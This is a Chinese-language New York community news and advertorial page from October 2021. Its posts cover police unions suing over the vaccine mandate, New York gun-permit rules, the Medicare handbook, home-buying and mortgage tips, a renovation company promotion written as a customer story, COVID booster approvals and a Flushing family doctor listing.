所以在奥妙的宇宙面前,人们应该有一个谦卑的心态,人们的认知是很有限的。人为的觉得自己掌握了真理,而去剥夺他人的权力,是违背道德的。

2021-10-24 / by / in , ,
抵制纽约疫苗强制令 两警察工会诉诸法律

一直以来,纽约市府坚持推行强硬的疫苗政策,受到了很多纽约人顽强地抵制。10月20日,在市长白思豪宣布所有公务员必须打疫苗之后,纽约市警察工会(PBA)和一家警探工会分别发声,表示他们将针对纽约市的强制疫苗政策诉诸法律,用法律手段保护成员的的医疗权益。

两警察工会就疫苗强制令诉诸法律

纽约市警探工会(Detectives Endowment Association)主席迪加考莫(Paul DiGiacomo)表示,他的员工中已经有70%的人打过疫苗了,另外还有很多人得过COVID-19,自身已经有抗体,他的工会将针对强制疫苗政策诉诸法律。

“我们将走进法庭,为我们的权利而战,我们将与集体谈判办公室商量,试图达成某种调解方案。”他说,“但是我们组织中有些人非常反对疫苗,我们要保护这些人的权利,同时也保护想打疫苗人的权利。”

纽约市警察工会(PBA)主席林奇(Patrick Lynch)在一份声明中说,他们要告纽约市政府。

林奇表示,“从白思豪政府随意推行疫苗令开始,我们就一直努力为选择接种的每个成员争取疫苗,但同时也保护他们在咨询自己的医生后,做出个人医疗决定的权利。”他说,“现在纽约市已采取单方面强制执行的动作,我们将继续采取法律行动来保护我们会员的权利。”

另据CNN报导,有2.4万名会员的纽约市警察慈善协会(Police Benevolent Association of the City of New York)也将对疫苗强制令采取法律行动。

民众拒打疫苗原因多

此前,纽约市疫苗令已遭到许多医疗保健和教育工作者的抵制,并引发了数起诉讼。

纽约市民抗议疫苗强制令有多种原因,有人说他们想保持自己的隐私,别人无权询问他们的医疗数据;有的人说是因为打疫苗违背了他们的信仰;还有人认为在强制疫苗政策的背后有一个邪恶的全球化议程。

据美国有线电视新闻网(CNN)的消息,截至周三(10月20日),仍有4.3万名市政工作人员没有接种。

纽约市公务员将于下周一举行集会,抗议纽约市府的强制疫苗政策。

2021-10-24 / by / in , , , ,
纽约州持枪规定|纽约买枪 纽约枪支管制法 枪械案律师 纽约刑事辩护律师

在疫情中,纽约的街头暴力犯罪大幅增加,同样的,纽约华人朋友通过正规渠道买枪防身的人数也是激增。拜登政府希望通过加强“枪支管制”以减少犯罪,特别是纽约,实施美国最严格的枪支管制法律,但是效果并不佳。有分析认为,这些暴力罪犯分子大多是通过非法的手段获得枪支,只有很少的一部分是通过合法渠道获得枪支的。德州参议员克鲁兹(Ted Cruz)曾表示:“不是要限制守法公民的第二修正案权利,是要追捕暴力犯罪分子,并严惩他们。”

美国司法部于2019年发布的调查报告“涉及犯罪的枪支来源和使用:2016年对监狱犯人的调查”。(纽约州持枪规定|纽约枪支管制法 枪械案律师 纽约刑事辩护律师 纽约买枪)(司法部报告截图)

本文小编总结了一些在纽约买枪和持枪的一些常见问题。

在纽约可以携带多少发子弹?

纽约限制任何人将七发子弹装入弹匣,除非该人在国家步枪协会或国际手枪协会认可的联合射击场或比赛中,在这种情况下,限制为十发。

纽约买枪有没有等候期?

纽约没有购买枪支的等待期,但一个人必须获得许可证才能购买手枪。

在纽约能的车里带枪吗?

可以在私家车中隐藏携带,但必须始终持有纽约 CCW 许可证。

在纽约买枪的申请过程

在纽约买枪,首先应该了解纽约市关于安全使用和存放枪支的法律。经常被问到的问题是你为什么要买枪,如果你以前拥有过一把枪,你是否曾经被袭击或抢劫过,以及你将如何将枪运进和运出射击场等。

还有一个背景调查——看看你是否有资格买枪。联邦调查局通过其国家即时犯罪背景调查系统,查看申请者是否有过犯罪记录或心理健康问题。每个案件因为犯罪记录或心理健康问题的类型差异,因此有此类问题并不一定意味着您不能申请许可证。

处理申请和获得买枪许可证的时间因情况而异,通常需要三到六个月的时间。

点阅相关文章【金牌推荐】2021最佳纽约刑事律师 | 纽约刑事辩护律师 

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纽约刑法第 40 章,非法持枪的各类控罪

四级非法持枪械:如果你只是因持枪械被逮捕,可能会被控四级非法持有枪械罪。此罪最高处罚是一年监禁。持有第四级武器的犯罪行为属于 A 级、轻罪。

三级非法持枪械:如果你有犯罪前科,又因持枪械被逮捕,可能被控三级非法持枪械罪。也可能被控非法持有攻击性枪械罪。持有三级武器属于 D 级、重罪。此罪最高处罚是七年监禁。

二级非法持枪械:如果你因持一支上镗枪械、或者五支或者更多枪械被逮捕,可能被控二级非法持枪械罪。持有二级武器属于 C 级、重罪。此罪最高处罚是十五年监禁。

一级非法持枪械:如果你因持十支或者更多枪械、或者爆炸物品,意图使用其伤害他人被逮捕,可能被控一级非法持枪械罪。一级犯罪持有武器属于 B 级、重罪。此罪最高处罚是二十五年监禁。

在校园内非法持枪械:

在校园内犯罪持有武器属于 E 级重罪,可处以最高 4 年的监禁。

需要特别指出的是,在纽约,携带胡椒喷雾外出是合法的。

隐藏携带枪支许可证的资格

要获得携带枪支的许可证,一个人必须:

    • 年满 21 岁
    • 具有良好的道德品质
    • 没有因重罪或严重罪行被定罪或有逮捕令
    • 不是司法机关已立案的在逃犯罪嫌疑人;
    • 不是违禁药物的非法使用者;
    • 不是在美国非法居留或持有非移民签证的外国人
    • 没有因违反军队纪律而被军队开除的人;
    • 不是丧失美国国籍的人;
    • 不是被鉴定为患有精神疾病的人,或正在精神康复中心疗养的人;
    • 没有被非自愿地送到精神卫生部门办公室管辖的设施中,或者没有被民事限制在安全的治疗设施中
    • 不是家庭暴力犯罪者
    • 成功完成枪支安全课程和测试(仅限申请人居住在威彻斯特县)
    • 没有根据确定由于明显的智力低下、精神疾病、无行为能力、状况或疾病,他们缺乏合同或管理自己事务的精神能力而任命监护人

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纽约市枪支携带许可证的类型

纽约市有五种枪支携带的许可证,每种许可证都允许您以特定方式使用枪支:

*“房屋”许可证允许枪支所有者仅在许可证上提供的地址的场所使用他们的武器。根据纽约市的执法部门的信息,大多数纽约市申请人都申请此执照。

*“携带业务”许可证允许枪支所有者出于就业原因使用隐藏的枪支,并允许他们将其从家中携带到工作场所。

*“有限携带”营业执照限制枪支拥有者只能使用您执照上营业地址的武器。

*“特殊携带”许可证将允许所有者出于商业目的使用枪支,只要许可证有效,就可以随身携带。

* “carry guard” 执照是为保安人员和从事类似工作的人保留的。该许可证需要雇主提供文件。

可以使用致命武器的情形

使用致命武器只能是在有理由相信:

  • 另一个人正在使用或即将使用致命的武器。但是,如果受到威胁的人能够在完全人身安全的情况下撤退,则不得使用致命的武器;但如果行为人在他或她的住所受到侵害,则没有撤退的义务;
  • 或者另一个人正在实施或企图实施绑架、强暴、强行犯罪性行为或抢劫;
  • 或者另一个人正在实施或试图实施纵火或入室盗窃,并且情况允许使用致命的武力。
本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯经验丰富的律师。
查看金牌纽约枪械案律师、纽约刑事辩护律师请点击这里
2021-10-23 / by / in , , ,
今年美国红蓝卡开放注册期 可以读到最新中文手册

10月21日,美国医疗护理和医疗救助服务中心 (Centers for Medicare & Medicaid Services, CMS) 宣布,“Medicare与您”手册的中文版本已经发布。2022年Medicare红蓝卡开放注册期,是从2021年10月15日开始,到12月7日。中文版的手册或许能帮助您更好的了解红蓝卡的各项福利和承保范围,在注册开放期为自己选择更适合的医疗保险计划。

美国CMS发布”Medicare与您”中文手册

“Medicare与您”的中文版手册包含的主要内容为:如何注册、计划福利、承保选项及权力。点击这里,可以连接”Medicare与您”中文手册

如今注册红蓝卡的成员中,亚裔美国人的人数已位列第四。Medicare与CMS负责人Chiquita Brooks-LaSure说:“扩展多语种,适合于多元文化的理解,是跨向健康公平的第一步。提供多种语言的Medicare 与您手册,能够帮助有红蓝卡的人更好地了解如何使用红蓝卡、获得所需的福利和医疗护理,以及防范错误咨询和欺诈。”

在红蓝卡开放注册期间(Open Enrollment Period,OEP),符合红蓝卡申请条件者,可以选择比较2022年度传统红蓝卡、红蓝卡优势计划(Medicare Advantage)以及红蓝卡处方药D部分的各种选项。

红蓝卡的各种选项

 

红蓝卡医疗保险,和红蓝卡药物保险计划的费用每年会有变化。参保人可以在每年的开放注册期,仔细评估承保选项,再来选择最适合自己的医疗保险计划。建议大家在评估保险计划的时候,可以考虑以下选项:

  • 您的医生是否仍在网络内;
  • 您需要的处方药是否依然在处方药计划内;
  • 月度保费最低的保险计划,可能并非是最适合您的计划;
  • 需要考虑红蓝卡计划的自付额Deductibles和最高自付额部分,来整体考虑医疗保险成本;
  • 有些提供额外福利的保险计划,比如眼科、听力或牙科的医疗福利,或许能符合您的医疗需求。

大家可以在Medicare.gov网站下载中文版手册,也可以致电1-800-MEDICARE免费预订中文手册。在https://www.medicare.gov/about-us/information-in-other-languages 网站上,Medicare和CMS还发布了23种语言(包括中文)的其它文件。这些文件的议题包括了:

  • 红蓝卡基础知识;
  • 预防性服务;
  • 补充保险 Supplemental Insurance;
  • 红蓝卡优势计划 Medicare Advantage;
  • 红蓝卡摘要通知;
  • Covid-19疫苗接种范围,等等;

大家如果有任何问题,可以通过Medicare.gov网站的即时聊天工具,或者致电1-800-MEDICARE (1-800-633-4227),获得7天24小时援助咨询(除某些联邦假期外),并且有口译服务。

 

2021-10-23 / by / in , , ,
纽约「房贷」 「信誉」第一

在前篇文章中我们谈到了在纽约买房聘请经纪人的重要性,今天我再跟朋友们谈谈另一个重要话题,就是如何能更快、更顺利的获得「房贷」问题。
我们都知道申请「房贷」,是一般买房者不可缺少的重要前题。如果我们「房贷」不能落实,那买房就成了空谈。所以作为购房者,我们首先要解决的问题就是「房贷」问题。
下面我们就来具体的谈谈这个问题。

「信誉」是成功的关键

「信誉」是获得纽约「房贷」的关键

一, 信誉
「信誉」是一个国家文明的体现,也是衡量一个人品行优劣的表现。几千年来,中华民族是以「仁、义、礼、智、信」作为治国的理念和做人的标准。因此古人把「信誉」就看的极其的崇高与神圣。
然而今天的中国人已经背弃了老祖宗的遗训,把人性中极为珍贵的「信誉」都变成了 “钱”。做事不讲「信誉」,为了达到个人的目的,可以不择手段隐瞒、欺骗、贿赂、拉关系、走后门等等。
然而美国是一个讲「信誉」、重「信誉」的国家。在美国一个人「信誉」的好坏,直接就牵扯到人与人之间能否交往、合作的问题。所以在纽约「房贷」问题上,「信誉」的评估就显得极其的重要,因为它直接影响到您能否获得贷款,或贷款的多少?贷款利率的高低,甚至还可能会影响到公寓租住以及未来雇主对您的看法等等。
那么在「房贷」的问题上,美国是如何评估一个人「信誉」的呢?在美国有三个评估「信誉」报告机构(credit reporting agencies)或称信用局(credit bureaus),这三个机构分别是:Experian、Equifax 和 TransUnion。
这些机构会根据您个人所有的信息,去做详细的调查、分析、研究,然后得出评估,评估可分为差、一般、好、非常好和非常优秀这些等级。「房贷」部门就根据这些评估的等级来决定是否能够给您贷款,贷多少、贷款的利率为多少等等。
如果您的「信誉」评估很好,那很有可能会贷到更多的房款和更低的利息。这就是「信誉」的作用。

纽约「房贷」购房首付也很重要

在纽约「房贷」 购房首付也很重要

二,首付
在纽约能否达到购房首付的要求,也是获得「房贷」的关键。在美国一般要求购房者支付买房总金额20%的首付,如果做到了这一点,「房贷」的批准可能就会顺利。但是有一个前提,就是您20%的首付是你本人的,还是您在父母或者是您亲朋好友那临时借来的,这些银行都要进行调查、取证,才能决定能否给您贷款。
如果您说,我没有那么多的首付,可是在其它方面又没有什么问题,在这个前提下,银行也可能会给您贷款,但贷款的数额、利率就会打折扣;同时您还必须要额外购买房贷保险(Private Mortgage Insurance)。这样就很不划算。
所以我建议想买房的朋友们,在买房前先要攒够您买房总金额20%的首付,这样就不会给您日后增加额外的经济负担,同时「房贷」也会很顺利的完成。
有的朋友可能还会有这样一种情况,虽然没能攒下首付,但却有一个稳定的收入,能够保证偿还每月的贷款。在这种情况下,美国也有一些「房贷」机构,可以为您做「房贷」服务。但这些「房贷」机构都有一个相同的特点,就是给您「房贷」后,都得必须购买「房贷保险」。比如:FHA Loan – FHA贷款机构:这种房贷是由联邦住房管理局(FHA)担保的买房贷款,最低首付只需要3.5%,信用分较低的人士也可以申请。再比如:USDA Loan – USDA购房贷款机构:这是由美国农业部(USDA)担保的、为中低收入人士在规定的农村地区买房提供的贷款,可以享受零首付优惠等等。
在此我还是建议朋友们最好不要办理此类贷款,因为一旦买了「房贷保险」,那就会给我们日后的生活增添了一份经济上的负担,那就得不偿失了!

签约合同 不要忽视贷款时间点和过户时间点

签约合同 不要忽视贷款时间点和过户时间点

三,时间点
1, 贷款时间点
如果您选定了在哪个银行贷款时,首先要向银行写一份「房贷」申请,当然也可请您的律师或经纪人帮助申请。当银行接到您的申请后,初审觉得还可以,就会给您发一份「预批信」。但这份「预批信」并不能保证您在签完购房合同以后,会很快的把贷款给您批下来。因为银行还要严格的审核您所有的条件和您的材料,看看您是不是真的符合贷款的标准和要求。这都得需要时间。
一般来说,当银行发出「预批信」后,正式批准贷款的时间,快则15天,慢可能要等30天左右,有时甚至可能还会拖到两个月。那么我们在签约合同时,写清贷款的批准时间就非常的重要。一般说来,标准合同只给30天的贷款批准时间。那么我们就可以跟卖方去商议,最好把贷款批准时间再延长一些,这样我们就可以有充分的时间获取贷款的批准。
2,过户时间点
对于卖方来说,当然是希望房子能够尽快的过户。但对于很多购房者来说,可能还存在着一些困难,因为不仅申请贷款需要时间,而且买家还可能存在租约还没结束的情况。因此买家还是希望把过户的时间能够在两个月之后完成。所以在合同签约时,建议买房的朋友最好把过户的的时间定在60天左右,或者自己希望能顺利过户的时间点,这样一来,会给自己留有比较充足的时间来完成过户的手续。
当然这些问题也可以让您的律师或者经纪人跟对方进行一个合理的协商,使双方能够达成一个满意的共识。
在此我还要提醒买房的朋友们在签约合同时,且不可忽略了这两个时间点。
(未完待续)

2021-10-22 / by / in ,
走访纵横装修工程公司 646.520.8638 纽约华人装修公司推荐

走访纵横装修工程公司!

联系人:李先生

电话:646.520.8638

这些年耳闻不少居家装修改建发生的有趣故事,总想就此写几篇文章综合报道,朋友们得知,推荐“美国纵横工程公司”,说这是家诚信专业、耳熟能详的老字号。(Global Flooring, Cabinet & Construction)

不料登门拜访,公司李老板非常低调,总以“岂能王婆卖瓜”为由谢绝。上网自查,发现“纵横”先后在法拉盛和长岛建立两家大型建材专卖店。

更令人眼亮的是纵横工程公司集水电保险和政府执照为一体,首开先河为消费者提供装饰材料和装修工程相结合的一条龙优质服务。

再查看“纵横”承接的室内外大小装修和改建重建工程获得的客户好评,以及被客人啧啧称赞,直呼为李师傅的公司负责人李林,则更令人好奇了。

 

 纵横工程公司

(李先生电话:646.520.8638

有道是无巧不成书啊。周末参加朋友聚会巧遇赵伟先生。他闻讯调侃说自吹自擂的事李师傅干不了,不如由他提供亲身装修经历以飨读者吧。

一、耳听为虚眼见为实

赵伟说自己是纵横老客户了,开口第一句话就是:好货不便宜、便宜没好货。他回忆与纵横的李师傅结缘是从地下室装修扩建工程开始。

那是他第一次投资房地产,没什么装修经验。但手中这栋房子外形和学区环境都不错,美中不足地下室顶高太低,有如大山压头般令人压抑。

纵横工程图片

  (李先生电话:646.520.8638

纵横工程图片

(李先生电话:646.520.8638

赵伟的表姐可谓识途老马,推荐他上纵横工程公司,夸李师傅是行业精英,不仅专业丰富、不欺不诈,而且说到做到、有始有终、口碑极佳。

那天风和日丽,赵伟专程到纵横专卖店找李师傅请教。见他正与客户恰谈,遂决定外出逛逛。也许是时间充裕,他想趁机看看行情,比较一下!

大学点店铺林立,竞争激烈。赵伟说很讨厌那些不顾行人安全,将货物堆放车道的自私商家。正想绕道而行,突然路边传来“大哥大哥。”的呼唤。

纵横工程图片

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转头,赵伟见墙角立着位身穿黑色露肩吊装、肥脸俗气的矮女人正冲他媚笑:“看货呀?那边店铺的东西贵死了,欢迎大哥来我们店里看看嘛。”

怎么像街头拉客的站街女呀?赵伟蔑笑。矮女人不管,厚脸笑道:“我们这里很便宜呢。”见他迟疑,“来嘛给小妹一个迎接上帝的机会嘛!”

见她这么客气,赵伟不好意思再拒绝。顺口询问几句。谁料对方麻利翻出许多装修图片滔滔不绝,那口气仿佛过了这个村再没那店似的。

纵横工程图片

李先生电话:646.520.8638

 

见他“哦哦。”地应付矮女人递茶倒水套近乎,言谈中赵伟得知她们店里的陈老板干建筑行业几十年,过去连李嘉诚深圳的别墅都曾帮忙装修。

哇塞。这下赵伟眼球变大了。李嘉诚可是他心中偶像啊。见钓起他兴趣了,矮女人使眼色让店员通知老板,央求他留下地址,老板会马上上门查看。

想起表姐的推荐,赵伟推说与纵横工程早已约好。谁知“嗯嗯”矮女人干咳几下说:“别别别!大哥,我们陈老板特意赶过来了,麻烦您等等行吗?”

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赵伟正犹豫,矮女人手机突然响了,只见她斜眼赵伟冲话筒嚷嚷:“不行呀李老板!我们的工人都忙死了呢!现在往哪帮你调人手呀李老板…”

听她一口一声李老板的,赵伟条件反射般竖起了耳朵。矮女人见此冲街对面的店铺白眼道:“唉!连个装修师傅都没有,怎么帮人做装修啊?”

她的话如重锤击打赵伟的好奇心。“刚刚是对面的李老板吗?”他探问。“唉,我可没说啊。”矮女人狡黠一笑,“不说了,传出去不好哩。”

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“喝茶喝茶。”见收到效果矮女人转移话题。耿直的赵伟哪明白这套把戏呀,突觉对方变大度不再那么俗气了,暗责自己不该以貌取人哪。

当陈老板顶着头杂乱无章的乱发、猴跳猴跳现身眼前时,赵伟哪敢再犯以貌取人的错误喔,何况对方保证装修价廉物美。当即领他前往现场查看。

勘察完毕。陈老板嘿嘿嘻嘻曰“不是吹牛呀,解决这种难题必须魔高一尺道高一丈才行。”赵伟问方案对方却面露难色说大家还未确定合作关系呢。

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哈哈,不见兔子不撒鹰嘛!他会心一笑。爽快掏出支票拍了拍:“放心吧!只要真能帮我解决头痛问题,工程就交给你们做啦。”他不玩弯弯绕。

“真的吗?”对方转忧为喜,猴脸眯笑道:“那好,咱们一言为定。你看吧,只要将地下室深掘几尺,上下空间是不是马上变得高大上了。”

“有道理。”赵伟是个门外汉觉得这想法真不错。“这叫金点子,知道吗!行业中称智慧产权,别人做梦都想不到。”陈老板老神在在,也不客气。

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李师傅电话:646.520.8638

 

“主意真的不错。不过….”见赵伟还想“不过”的追问,陈老板一口一声保证说:“放心吧。像这样的工程,不知做过多少哩。”赵伟这才完全放心了。

谁料好事多磨。签约开工不久,工人发现墙基太浅,根本无法深挖,陈老板阴着脸停工,最后变脸,借口重建新地基不在合约范围为由,狮子大开口。

这不是讹诈吗?赵伟傻眼了,坚持按合同办事。双方争吵间陈老板使出绝招:抬肩耸膀往他身上顶,泼妇般喊叫:“来来,有本事你打老子啊。”

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赵伟气晕了。表姐闻讯告之:什么陈老板呀,大家都叫他癞皮陈呢!过去与矮女人都在别人家打工,勾搭成奸,偷偷将对方公司客户资料盗取一空…

当赵伟再次回到纵横求援,员工们听罢劝他吃一堑长一智。強调纵横自己拥有强大专业的装修团队,从来都没有干过临时抱佛脚的事情。

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李先生电话:646.520.8638

 

“沒关系。”见他委屈,李师傅安慰说:“祸兮福所倚。”面对烂摊子,更严肃指出,低层结构的房子墻基浅薄,深挖硬干随时都有屋倒人亡的危险。

乖乖!听得人冷汗直流。好在李师傅仍是那句口头禅,“没关系。”补充道:“将屋顶的龙骨拆除加高,地下室问题就迎刃而解了,而且更省钱。”

纵横工程图片

李先生电话:646.520.8638

 

真是山穷水尽疑无路啊。赵伟如同坐上过山车,本来备受颠波煎熬,现听李师傅这么说,顿时又有柳暗花明又一村的欢喜轻松感哪……

行文至此,多说累赘!套用赵伟先生的感叹;“耳听为虚眼见为实!纵横工程公司专业诚信!李师傅好的没话说。” 作为结束语最合适不过了!

 

作者:溢山

 

2021-10-22 / by / in , , ,
纽约州推出Covid-19疫情数据中心网站

在10月19日的新闻发布会上,纽约州长霍楚(Kathy Hochul)宣布了纽约州建立的新冠病毒Covid-19数据中心网站,方便民众查索疫情动态。

新建立的纽约州新冠病毒Covid-19数据网站,将展示纽约州新冠疫情的各项数据,同时也将之前的历史数据囊括在内,方便纽约客随时检索。

新建的纽约新冠病毒Covid-19主页,分为5个类别,可连接到16个数据页面。大家以后只要登录一个网页就可以了解纽约州各类Covid-19相关数据,无需再像以前一样要查看多个数据平台。

这个主页名为 “COVID-19 Data in New York”, 主要包含5个大类,分别是:

  • 检测、病例数据和变种病毒;

 

  • 住院和死亡人数;

  • 疫苗接种;

  • 养老院;学校;

以上5大类里面的具体数据,主要包括以下的内容:

BOCES学校Covid-19 报表 2021-2022;

私立学校Covid-19 报表 2021-2022;

特许学校(Charter School)Covid-19 报表 2021-2022;

公立学校Covid-19 报表  2021-2022;

疗养院和成人护理院Covid-19死亡人数;

各县Covid-19疫苗接种数据;

Covid-19测试阳性的数据,可以按性别或按不同区域邮政编码查看;

住院人数的数据;

医务人员的疫苗接种数据。

另外,新网站还提供了更多新的疫情数据,比如每十万新冠染疫率的7天平均数,以及测试阳性率的7天平均数,变种病毒以及突破性感染的数据。

纽约州Covid-19数据中心网站的网址为:https://coronavirus.health.ny.gov/covid-19-data-new-york

2021-10-22 / by / in , ,
FDA批准强生和莫德纳新冠疫苗加强针 不同品牌疫苗可混搭接种

10月20日,美国食品药品管理局FDA授权强生(Johnson & Johnson)和莫德纳(Moderna)公司研发的新冠疫苗加强针,获得紧急使用授权。同时,还获准已获得授权使用的疫苗可以混搭接种,人们可以选择接种与之前不同品牌的新冠疫苗。

FDA获准强生和莫德纳新冠疫苗紧急授权

辉瑞疫苗的加强针已在上个月,即9月份获得FDA紧急使用授权。因此到目前为止,美国已有三种新冠疫苗的加强针获得FDA批准。美国民众在接种加强针时,可以在这三种获批的疫苗中选择,接种与之前品牌不同的疫苗,也就是可以混搭接种。

辉瑞疫苗的加强针已在9月份获得FDA紧急使用授权

FDA在20日发布的声明中表示:“在可用的Covid-19疫苗完成一剂接种后,符合条件者接种疫苗加强剂时,可以混合匹配。”

根据FDA 的规定,辉瑞和Moderna疫苗授权适用于以下人群:

  • 65岁以上的长者;
  • 18岁至64岁,由于身体状况或工作性质而属于高风险感染者。

辉瑞和Moderna疫苗,都必须在完成第二剂接种6个月后,才能进行任何疫苗的加强剂注射。

强生疫苗加强针接种,适用于已经接种一剂疫苗18岁以上成年人。加强针接种的时间与第一剂疫苗至少要相隔2个月。已经接种一剂强生疫苗者,至少隔两个月后,可以接种辉瑞疫苗、莫德纳疫苗和强生疫苗德加强针。

FDA在10月20日有关新冠疫苗加强剂的声明中,允许“混合搭配”,这是与以前规定的重要不同点,就是用“异源疫苗”接种的方式接种加强针。对于那些接种一剂疫苗后产生了副作用,但又想通过疫苗接种为自己提供保护的人来说,这个规定使得接种新冠加强剂变得更加容易。

FDA代理局長珍妮特‧伍德科克(Janet Woodcock)在聲明中表示,數據表明,在某些完全接種了疫苗的人群中,疫苗的有效性可能會隨著時間的推移而減弱。

另外,对于莫德纳疫苗的加强针,FDA只批准使用一半剂量。这是因为基于莫德纳公司的数据,半剂疫苗的注射量已经足够再次刺激人体的免疫反应。

FDA批准使用一半剂量莫德纳疫苗的加强针

美国CDC疫苗顾问委员会,定于10月21日讨论Moderna和强生加强针相关数据。如果获得顾问委员会通过,并经过CDC主任最终批准后,这两种获得批准的疫苗加强针将很快开始应用。

2021-10-22 / by / in , ,
在纽约买房 「合同签约」必须得重视

提到「合同」可能有很多在纽约的华人,特别是来纽约时间不长的华人,对这个名词仍会心存余惧。为什么呢?因为在中国,百姓所签约的合同根本得不到法律的保护。
在中国生活过的朋友都知道,在国内有很多百姓跟某公司或某部门签约买房、盖房或建厂房时,各个部门的大红章盖了不老少,但突然有一天,一张「强拆令」下达,什么签约、什么公章统统成为了儿戏,一夜之间几十年的血汗就会付之东流。

纽约买房「 合同签约 」受法律保护

纽约买房「 合同签约 」受法律保护

但今天【金牌推荐】编辑清竹跟朋友们讲,美国与中国是两种完全不同体制的国家。美国是「法制」国家,「法制」是美国的三大基石之一。是凡在美国签约好的合同,都会受到美国法律的保护,无论是上至总统还是下到各级部门,都无权干涉。
所以说签约合同很重要,一旦我们把买房合同签订后,里面的内容就不能再更改了。因为它已经具备了法律效应,受到了法律的保护。
下面我们就来谈谈在纽约买房时签约合同的意义以及我们特别要注意的一些问题。

违约者会受到惩罚

违约者会受到惩罚

一, 合同
一般说来,购房合同是买卖双方的律师或经纪人共同拟定的一个很完备的条约。合同拟定完后,买卖双方共同要在合同上签字,签完字后,这个合同就具有了法律的效应。此时卖家就不能把房子再卖给其他人了。如果买卖哪一方,一旦违背合同,就会受到罚款,甚至牵扯法律问题。
在没签订合约之前,买卖双方可能口头上会答应的一些条款,或承诺一些条件,当合同一旦生效之后,那些口头上的承诺统统都作废,都不算数了,都必须以合同为准。
由于购房合同非常重要,所以纽约政府就为购房者和卖房者拟定了一份非常标准式的购房合同,那里面把常见的买家或卖家的权利或利益都写在了里面。很详细也很全面,一般都不会有太大的问题。而且,在纽约买房还需要聘请经纪人或律师,他们都会来审阅和同为您把关。
即使这样,在此我们还是要提醒买家,尤其是第一次买房的朋友,对买卖合同里面一些关键的条款还是要仔细地去看,做到心中有数。

在纽约买房,聘请经纪人很重要

在纽约买房,聘请经纪人很重要

二,经纪人
为什么我们在谈买房时要多次提到经纪人?因为房产经纪人在房子的买卖上起到的作用太大了,在纽约有80%的房子交易都是由经纪人来完成的,可以说经纪人的作用举足轻重。
一般情况下,我们在买房时都需要聘请一位经纪人,当然如果经济条件允许,我们还可以聘请一位买房律师。这件事情很重要,它是我们买房很关键的一个环节。如果能聘请到一位好的经纪人,他会帮我们解决很多的问题,排除很多的麻烦,并且还会帮助我们得到更多的利益。
首先我们的经济人会努力帮我们争取更好的房屋价格以及更好的购房条件,比如说会给我们成功谈到一个很好的买房折扣,或者说能给我们在过户费用方面上得到一些免减。
我们打个比方,如果您买房子的定价是在100万出头这样一个价格,一般来说,买家的经纪人都会主动为您争取把这个房价谈到100万以内,这样既可以为您省下一些买房钱,同时又可以避免上交「豪宅税」。
我们都知道,美国是一个税收繁多的国家。当然房产买卖也不例外,下面就跟大家谈谈「豪宅税」是怎么回事?按照规定,在纽约买100万以上的房子,就必须交1%的「豪宅税」;如果买房金额是200~300万之间或高于2500万,除上交1%的「豪宅税」外,还要额外上交0.25%到2.9%不等的额外税收。
所以如果买房的金额是200万或2500万出头,经纪人都会为您争取低于200万或2500万,这样就可以减少这笔额外的税费。
那么当我们要买新房的时侯,有部分过户的费用是由买家来支付的,但在这些方面我们的经纪人可以跟卖方的开发商商议,比如说可以商议,「交易税」是不是可以各自承担一半?经纪人还可能会为我们争取一些免费的储藏室,或者是停车位的费用是否能打一些折扣,或者给一个优惠的价格等等。如果我们的经纪人能帮我们把这些都拿到手的话,那争取到的这些利益都必需要写到合同里面。
如果我们忽视了合同这一点,没有在合同中反映出这些,那么到过户、交房的时候,开发商就有可能不认账,不承认他事先答应的一些条件,这就很难办了,因为口头上的承诺是不具备法律效应的。
以上所谈,我们可以得出这样一个结论,聘请一位好的经纪人的确很重要!
(未完待续)

2021-10-21 / by / in
纽约 法拉盛 家庭医生 诊所 推荐 华人家庭医生 |【金牌推荐】

纽约 法拉盛 家庭医生 家庭医生诊所 家庭医生推荐 华人家庭医生

华人新移民在美国看医生,最怕语言不通。如果在住家附近有专业的华人家庭医生,可以中文沟通,无语言障碍,那全家老小的看病、体检就不用愁了。我们在下面为大家整理了华人法拉盛医生,如果您正好要找法拉盛家庭医生,不妨收集起来作为参考。

 

资深法拉盛家庭医生刘顶坤-纽约法拉盛华人家庭医生诊所推荐

地址 :136-20 38th Ave #6L, Flushing, NY 11354  法拉盛飞跃皇后大厦6L

电话:347-506-0688

营业时间:

周一 9:00 am – 5:00 pm
周二 9:00 am – 5:00 pm
周三 9:00 am – 5:00 pm
周四 9:00 am – 5:00 pm
周五 9:00 am – 5:00 pm
周六 9:00 am – 5:00 pm

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刘顶坤家庭医生介绍:

刘顶坤医生毕业于美国宾州伊利湖医学院,在克利夫兰帕尔⻢大学医院完成内科住院培训,拥有美国内科特考文凭。刘医生曾在⻄雅图郊区的 St. Michael Medical Center, 华盛顿中部的 Astria Sunnyside Medical Center, 宾州中部的 Penn Highland healthcare 等医院担任主治医生多年,具有丰富的临床经验。

 

主治范围:

刘医生提供体检,疾病预防,癌症筛查,以及疾病科普.擅⻓治疗高血压,糖尿病,高胆固醇,心血管疾病,哮喘,慢性肺阻塞,支气管炎,上呼吸道病毒感染, 肝胆肠胃疾病,贫血,头痛,脑梗,癫痫等等。

 

 

 

 

 

 

 

作为一名家庭医生,刘顶坤医生擅长与患者沟通,关怀病人,并能为病人做出细致的思考,为您提供贴心的全科家庭医生服务。刘顶坤医生理论知识扎实、临床经验丰富,思路廣泛,認真嚴謹,耐心親切。

深挖病因,准确诊断,对症治疗:

刘顶坤医生以其对医学的深刻理解,善于深挖病因,追求准确的诊断,并制定有效的治疗方案,确保对症治疗。

全面考量,综合医治:
在面对急慢性病、疑难杂症和中老年病时,刘顶坤医生展现出全面考虑患者整体状况的能力,采用综合医治的方法,追求更全面的治疗效果。

提倡早诊断及保健预防:
刘顶坤医生注重早期诊断和保健预防,鼓励患者定期进行身体检查,帮助他们在最早的阶段发现潜在的健康问题。

理论知识扎实,临床经验丰富:
刘顶坤医生具有扎实的理论知识,通过丰富的临床经验,不断提升医学水平,确保为患者提供最优质的医疗服务。

思路广泛,认真严谨,耐心亲切:
刘顶坤医生思路广泛,对医学问题有着深入的思考,工作态度认真严谨,同时表现出耐心亲切的特质,与患者建立起良好的医患关系。

总体而言,刘顶坤医生以其出色的专业素养和对患者关心备至的态度,成为患者信任和依赖的医疗专家。

 

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2021-10-20 / by / in
纽约市长选举日临近 候选人斯利瓦言行如一获赞

